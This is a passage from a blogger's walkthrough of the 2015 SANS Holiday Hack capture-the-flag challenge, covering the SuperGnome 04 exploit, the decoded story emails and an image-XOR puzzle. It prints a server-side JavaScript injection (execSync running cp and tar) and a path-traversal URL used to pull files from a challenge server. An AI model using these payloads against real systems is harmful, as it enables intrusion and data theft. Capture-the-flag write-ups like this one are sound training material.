    However, I still could not download the files directly (again, likely due to not having execute permissions on the files). So, I copied the files to the newly-created directory, this time using the child_process.execSync function :


    require('child_process').execSync('cp /gnome/www/files/* /gnome/www/files/.png')

    Still, I could not download the files:

    http://52.192.152.132/cam?camera=../../files/.png/gnome.conf

    File ./public/images/../../files/.png/../gnome.conf.png does not exist or access denied!

    Ah - but note the error: the file that was not found was gnome.conf.png, not gnome.conf. The camera viewer only allows me to download .png files. Can I tar (a common Unix equivalend of Zip) all of the files into a single archive file, put .png on the end of that file, and download the tarball?

    require('child_process').execSync('tar -cf /gnome/www/files/.png/tarball.png /gnome/www/files/.png/*')

    http://52.192.152.132/cam?camera=../../files/.png/tarball.png

    File ./public/images/../../files/.png/tarball.png.png does not exist or access denied!

    Bah. It's appending .png to the filename, even if the filename already ends in .png. But that's easy to overcome:

    http://52.192.152.132/cam?camera=../../files/.png/tarball

    Success! I now have acquired the target files from SuperGnome 04, by exploiting a server-side JavaScript inclusion vulnerability in the FILES UPLOAD module to archive the files into a pseudo-png file, which I then used querystring path manipulation to download using the camera viewer module.

    One minor side note: whereas the other SuperGnomes thus far only required adjusting inputs to download the files in their pre-existing state, pwning this SuperGnome required mucking with the files and permissions themselves. This means I have no way of knowing the original state of the files and permissions: each time I looked, I found different permissions on /gnome/www/files - and at least twice another hacker mistakenly corrupted or deleted the files. This write-up is based on the state of the files when I first solved the challenge.


    SuperGnome 04 downloads and gnome.conf
    Gnome Serial Number: BU22_1729_2716057, a Futurama reference only a geek could love.


    SuperGnome 05


    As my expertise is in defense, incident response, and post-compromise forensics, this gnome did not fall by my hand. It did fall however. I will refer you to this excellent and thorough writeup by Cory Duplantis over at Praetorian, explaining his solution to pwning SG05.


    Part Five: Sinister Plot and Attribution

    1. Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
    2. Who is the villain behind the nefarious plot.
    Prior to launching the challenge in early December, the website showed a clue: "1957 was only the beginning." This being a Christmas-themed event, something immediately came to mind. Dr. Seuss wrote "How the Grinch Stole Christmas" in 1957, so through the first couple of SuperGnomes, I was pretty sure the villain was The Grinch. Upon cracking SuperGnome 04 though, I busted up laughing when the real villain appeared.

    Each of the SuperGnomes contains a filename that looks like a date with a .zip extension (for example, 20141226101055.zip), which contains a packet capture file. Each SuperGnome also contains a file titled Factory_Cam_#.zip, which in turn contains a PNG image file. SuperGnome 01 also contains a second image file, camera_feed_overlap_error.png.

    The packet captures are a series of email conversations between "[email protected]" and various other individuals. By opening the pcaps in Wireshark and using the "Follow TCP Stream" feature, we can see the entire email body at once.

    [From SuperGnome 01]

    From: "c" <[email protected]>
    To: <[email protected]>
    Subject: GiYH Architecture
    Date: Fri, 26 Dec 2014 10:10:55 -0500

    JoJo,

    As you know, I hired you because you are the best architect in town for a distributed surveillance system to satisfy our rather unique business requirements. We have less than a year from today to get our final plans in place. Our schedule is aggressive, but realistic.

    I've sketched out the overall Gnome in Your Home architecture in the diagram attached below. Please add in protocol details and other technical specifications to complete the architectural plans.

    Remember: to achieve our goal, we must have the infrastructure scale to upwards of 2 million Gnomes. Once we solidify the architecture, you'll work with the hardware team to create device specs and we'll start procuring hardware in the February 2015 timeframe.

    I've also made significant progress on distribution deals with retailers.

    Thoughts?

    Looking forward to working with you on this project!

    ------=_NextPart_000_0044_01D020F4.3C7E17B0
    Content-Type: image/jpeg;
    .name="GiYH_Architecture.jpg"
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment;
    .filename="GiYH_Architecture.jpg"

    /9j/4AAQSkZJRgABAQAASABIAAD/4QOyRXhpZgAATU0AKgAAAAgACQEPAAIAAAAGAAAAegEQAAIAAAAJAAAAgAESAAMAAAABAAEAAAEaAAUAAAABAAAAigEbAAUAAAABAAAAkgEoAAMAAAABAAIAAAExm+lZr/6w/hWkdgJPtDDavB9ahmunIy3frjpUI/13+fSopOv4UzObJjIrHdmkEhD/ACjiqg6irI+6
    .
    .
    .
    K2iiGj//2Q==

    ------=_NextPart_000_0044_01D020F4.3C7E17B0--


    The second part of this message is a base64-encoded jpg attachment. Linux has a built-in command to decode base64, so I saved the encoded content to a text file and ran the following command:

    base64 -d giyh_architecture.txt > giyh_architecture.jpg

    The result is:

    The Gnome in Your Home architecture


    [From SuperGnome 02]

    From: "c" <[email protected]>
    To: <[email protected]>
    Subject: =?us-ascii?Large_Order_-_Immediate_Attention_Required?=
    Date: Wed, 25 Feb 2015 09:30:39 -0500

    Maratha,

    As a follow-up to our phone conversation, we'd like to proceed with an order of parts for our upcoming product line. We'll need two million of each of the following components:

    + Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
    + ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
    + Atheros AR6233X Wi-Fi adapter
    + Texas Instruments TPS65053 switching power supply
    + Samsung K4B2G16460 2GB SSDR3 SDRAM
    + Samsung K9F1G08U0D 1GB NAND Flash

    Given the volume of this purchase, we fully expect the 35% discount you mentioned during our phone discussion. If you cannot agree to this pricing, we'll place our order elsewhere.

    We need delivery of components to begin no later than April 1, 2015, with 250,000 units coming each week, with all of them arriving no later than June 1, 2015.

    Finally, as you know, this project requires the utmost secrecy. Tell NO ONE about our order, especially any nosy law enforcement authorities.

    Regards,

    -CW


    [From SuperGnome 03]
    From: "c" <[email protected]>
    To: <[email protected]>
    Subject: All Systems Go for Dec 24, 2015
    Date: Tue, 1 Dec 2015 11:33:56 -0500

    My Burgling Friends,

    Our long-running plan is nearly complete, and I'm writing to share the date when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of specific houses and an inventory of items to steal from each house, along with still photos of where to locate each item. The message will also include a specific path optimized for you to hit your assigned houses quickly and efficiently the night of December 24, 2015 after dark.

    Further, we've selected the items to steal based on a detailed analysis of what commands the highest prices on the hot-items open market. I caution you - steal only the items included on the list. DO NOT waste time grabbing anything else from a house. There's no sense whatsoever grabbing crumbs too small for a mouse!

    As to the details of the plan, remember to wear the Santa suit we provided you, and bring the extra large bag for all your stolen goods.

    If any children observe you in their houses that night, remember to tell them that you are actually "Santy Claus", and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed. Then, finish the deed, and get out of there. It's all quite simple - go to each house, grab the loot, and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!

    As we agreed, we'll split the proceeds from our sale 50-50 with each burglar.

    Oh, and I've heard that many of you are asking where the name ATNAS comes from. Why, it's reverse SANTA, of course. Instead of bringing presents on Christmas, we'll be stealing them!

    Thank you for your partnership in this endeavor.

    Signed:
    -CLW
    President and CEO of ATNAS Corporation


    [From SuperGnome 04]

    From: "c" <[email protected]>
    To: <[email protected]>
    Subject: Answer To Your Question
    Date: Thu, 3 Dec 2015 13:38:15 -0500

    Dr. O'Malley,

    In your recent email, you inquired:

    > When did you first notice your anxiety about the holiday season?

    Anxiety is hardly the word for it. It's a deep-seated hatred, Doctor.

    Before I get into details, please allow me to remind you that we operate under the strictest doctor-patient confidentiality agreement in the business. I have some very powerful lawyers whom I'd hate to invoke in the event of some leak on your part. I seek your help because you are the best psychiatrist in all of Who-ville.

    To answer your question directly, as a young child (I must have been no more than two), I experienced a life-changing interaction. Very late on Christmas Eve, I was awakened to find a grotesque green Who dressed in a tattered Santa Claus outfit, standing in my barren living room, attempting to shove our holiday tree up the chimney. My senses heightened, I put on my best little-girl innocent voice and asked him what he was doing. He explained that he was "Santy Claus" and needed to send the tree for repair. I instantly knew it was a lie, but I humored the old thief so I could escape to the safety of my bed. That horrifying interaction ruined Christmas for me that year, and I was terrified of the whole holiday season throughout my teen years.

    I later learned that the green Who was known as "the Grinch" and had lost his mind in the middle of a crime spree to steal Christmas presents. At the very moment of his criminal triumph, he had a pitiful change of heart and started playing all nicey-nice. What an amateur! When I became an adult, my fear of Christmas boiled into true hatred of the whole holiday season. I knew that I had to stop Christmas from coming. But how?

    I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we'd rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We'll destroy Christmas as two million homes full of people all cry "BOO-HOO", and we'll turn a handy profit on the whole deal.

    Is this "wrong"? I simply don't care. I bear the bitter scars of the Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix that!

    What is your advice, doctor?

    Signed,

    Cindy Lou Who

    This was a very fun twist to discover!

    In addition to the email threads, the GnomeNET view on each of the SuperGnomes contains a discussion between what appears to be a customer and engineering regarding a flaw in the gnomes' handling of uploaded images:

    GnomeNET support conversation

    Evidently photos from a camera in the boss' office along with five offline gnomes in the factory all were uploaded with the same name, and were XORed into a single combined image. Camera_feed_overlap_error.png is the result. Since XOR is a logical condition that can be reversed by running the operation again, the solution is to collect each original image and XOR it with the combined image. The remaining image after taking away the five factory images will be that of the boss' office.

    A user "Mathematical Coffee" wrote an excellent explanation of how to do a bitwise XOR on images; using that as a basis, the following commands gradually expose the boss:

    Garbled image


    Subtract SuperGnome 01 image:

    convert camera_feed_overlap_error.png factory_cam_1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" factory_cam_fixed.png

    Remove SG01


    Subtract SuperGnome 02 image:

    convert factory_cam_fixed-1.png factory_cam_2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" factory_cam_fixed-2.png

    Remove SG02


    Subtract SuperGnome 03 image:

    convert factory_cam_fixed-2.png factory_cam_3.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" factory_cam_fixed-3.png

    Remove SG03

    Subtract SuperGnome 04 image:

    convert factory_cam_fixed-3.png factory_cam_4.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" factory_cam_fixed-4.png

    Remove SG04

    Subtract SuperGnome 05 image:

    convert factory_cam_fixed-4.png factory_cam_5.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" factory_cam_fixed-5.png

    The cleaned-up image from the boss' office: it's Cindy Lou Who, age Sixty-Two!

    And thus the villain appears!
    1. Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

      Email between "[email protected]" and various individuals gradually exposes a plot involving a vast army of burglars. They plan to simultaneously break into two million homes the night of Christmas Eve, and steal the most valuable and sought-after items, in a grand re-enactment of The Grinch's plot many years earlier, all because Cindy Lou was so traumatized by the experience.

    2. Who is the villain behind the nefarious plot.

      The villain is Cindy Lou Who, age Sixty-Two, as exposed by signing her full name in an email to her psychiatrist and by her own gnome taking a picture of her in her office!
    * As an aside, we evidently have entered a time warp when participating in the SANS Holiday Hack: in Dr. Suess' original "How the Grinch Stole Christmas," Cindy Lou Who was "no more than two." That would have made her sixty years old - not sixty two - at Christmas 2015.



    Closing remarks


    The Holiday Hack challenges were a fun diversion this Christmas, and a diversion I perhaps spent more time on that I should have. Challenges such as this one, as well as many other capture the flag events, are a great way to stretch our skills. Invariably, I learn new skills and techniques every time I participate.

    As a "blue teamer" by trade, my expertise is in detection and defense, incident response and malware analysis. Spending a few weeks banging my head against exploitable targets teaches me in ways that a class never would.